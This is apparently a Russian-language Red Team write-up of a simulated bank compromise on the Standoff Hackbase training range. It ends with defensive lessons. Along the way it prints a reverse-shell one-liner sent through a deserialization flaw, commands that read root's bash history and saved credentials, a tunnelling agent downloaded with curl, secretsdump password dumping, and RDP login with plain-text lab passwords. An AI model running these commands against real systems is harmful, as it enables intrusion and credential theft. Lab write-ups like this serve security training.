Всем привет!
Меня зовут Игорь Панарин, я же m0nr0e21. Руковожу направлением анализа защищённости инфраструктуры в Дирекции по информационной безопасности РАНХиГС. Мы работаем с распределённой инфраструктурой: офисы, филиалы, ЦОДы — много площадок и зон ответственности. В такой среде важно не просто находить уязвимости, а наводить порядок в процессах, выстраивать понятное управление и делать безопасность системной, а не точечной.
По роду деятельности я представляю Red Team — направление, которое моделирует действия атакующего: проверяет гипотезы, тестирует инфраструктуру, выявляет слабые места в архитектуре и процессах. Но при этом я убеждён, что эффективная защита невозможна без системного подхода и понимания бизнес-контекста. Red Team — это не «взлом ради взлома», а инструмент повышения зрелости безопасности.
Я убежден: эффективно защищаться можно только тогда, когда понимаешь логику атакующего — не теоретически, а практически, проходя всю цепочку: от первичного доступа до достижения цели.
Именно поэтому участие в Standoff от Positive Technologies для меня — не просто кибербитва. Это возможность проверить себя в условиях, максимально приближённых к реальной атаке, подтвердить навыки и проверить новые инструменты. Red Team — это постоянная эволюция. Если не проверять себя на реальных задачах, начинаешь работать по шаблону. А шаблоны в нашей профессии быстро становятся уязвимостью.
В этой статье я разберу, как проходил взлом банковского сегмента на полигоне Standoff Hackbase, какие векторы атак сработ��ли и какие практические выводы из этого стоит сделать специалистам по безопасности. Мы делаем большую системную работу — и иногда полезно выйти «в поле», чтобы убедиться, что защита действительно готова к бою.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, и дать рекомендации по защите. Авторы не несут ответственности за использование кем-то информации из статьи.
В одном из сценариев Standoff Hackbase пользователям предлагалось смоделировать атаку на инфраструктуру коммерческого банка. Конечная цель выглядела так — получить доступ к рабочей среде специалиста службы поддержки.
Цепочка из нескольких уязвимостей и мисконфигураций в итоге позволила пройти от внешнего веб-сервиса до внутреннего сегмента сети. В этой статье разберем атаку целиком: от первичной разведки до доступа по RDP к внутренней сети.
После подключения атакуемого стенда к VPN первым делом выполняем стандартную сетевую разведку внешнего диапазона:
nmap 10.124.0.128/26 -T5 -v --open -A -Pn
На этом этапе внимание привлек один из узлов с доступным HTTP-сервисом. Веб-приложение выглядело максимально безобидно — как форма обратной связи, предназначенная, судя по всему, для приема пользовательских обращений.
Подобные сервисы часто воспринимаются как второстепенные, но именно они нередко становятся входной точкой для хакеров за счет минимальных проверок, простой логики и отсутствия защиты.
Ловим запрос.
Убираем лишнее.
При взаимодействии с формой обратной связи стало понятно, что сервер обрабатывает пользовательские данные нестандартным образом. Ответы отличались в зависимости от структуры передаваемых параметров, что указывало на нетривиальную серверную логику.
Дальнейший анализ запросов показал, что данные, вероятно, проходят через механизм сериализации на стороне сервера. Это сразу сузило круг возможных векторов атаки — в подобных случаях всегда стоит проверить, насколько безопасно она реализована.
Достаточно быстро подтвердилась имеющаяся у нас гипотеза о небезопасной десериализации. Через специально сформированный запрос удалось добиться выполнения произвольной команды на сервере.
Запускаем listener.
nc -lvnp 5555
В запросе указываем s:86 и следующим запросом получаем шелл:
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.127.240.181 5555 >/tmp/f')
Получаем реверс-шелл.
Важно отметить: ни обхода аутентификации, ни сложной эксплуатации здесь не потребовалось. Проблема заключалась исключительно в доверии к пользовательскому вводу.
Получив доступ к системе, начинаем стандартную постэксплуатационную фазу: изучение файловой системы, истории команд, конфигурационных файлов.
Довольно быстро был найден файл с сохраненными учетными данными. Судя по содержимому, они использовались администратором или разработчиком в ходе обслуживания сервиса.
Эти данные позволили подключиться по SSH уже к другому узлу в инфраструктуре — уровень доступа заметно вырос:
ssh jack@10.124.0.163
На новом хосте выяснилось, что пользователь имеет расширенные привилегии. Анализ sudo-прав и истории команд позволил извлечь дополнительные данные, относящиеся к доменной учетной записи:
sudo -l
sudo cat /root/.bash_history
Смотрим:
sudo cat /home/astridion/.wincreds
Таким образом, атака переходит из стадии компрометации одиночного сервера в полноценное перемещение внутри периметра.
Для работы с изолированной частью сети нам нужен туннель. Это позволит «протащить» сетевую доступность внутреннего диапазона на локальный компьютер атакующего и работать с ним так, будто он подключен напрямую. После настройки маршрутов мы сможем полноценно сканировать внутреннюю сеть и взаимодействовать с сервисами, недоступными извне.
На своем компьютере:
sudo ip tuntap add user your_username mod tun ligolo sudo ip link set ligolo up sudo ip route add 10.154.4.0/23 dev ligolo ./proxy -selfcert -laddr 0.0.0.0:2233
Передаем файл на компьютер в банке:
python3 -m http.server 7777
На компьютере банка:
curl -O http://10.127.245.254:7777/agent chmod +x agent ./agent -connect 10.127.240.181:2233 -ignore-cert
На нашем компьютере выбираем сессию:
session
start
Используя ранее полученные учетные данные, проверяем доступ к файловым и сетевым сервисам внутри сети:
nxc smb 10.154.4.0/23 -u astridion -p zZYSE6G01pICXQByw7JO
Проверяем более детально:
nmap 10.154.4.170 -T5 -v --open -A -p- -Pn
Попробуем сдампить пароли:
impacket-secretsdump 'cbs.stf/astridion':'zZYSE6G01pICXQByw7JO'@10.154.4.170
Финальный этап. С полученными учетными данными пробуем подключиться по RDP к рабочей станции специалиста службы поддержки.
Можно так:
xfreerdp3 /v:10.154.4.170:33389 /u:helpdesk /p:9i8pwK95TQ5bWtl7fadJ /d:cbs.stf
Или так:
Недопустимое событие реализовано: мы успешно подключились к рабочей станции специалиста службы поддержки.
Заключение
Этот сценарий хорошо иллюстрирует несколько типичных проблем:
Безопасности внешних сервисов часто уделяется мало внимания, особенно таким формам, как в нашем примере.
Небезопасная обработка данных иногда несет большую угрозу, чем устаревшая версия ПО.
Учетные данные почти всегда становятся точкой развития атаки.
Изоляция сегментов не работает, если есть доверенные учетные записи с расширенными правами доступа.
По отдельности каждый из этих факторов мог и не привести к катастрофе, но в цепочке они превратились в полноценный путь компрометации системы.
Весь путь атаки так же можно посмотреть в видеоролике:
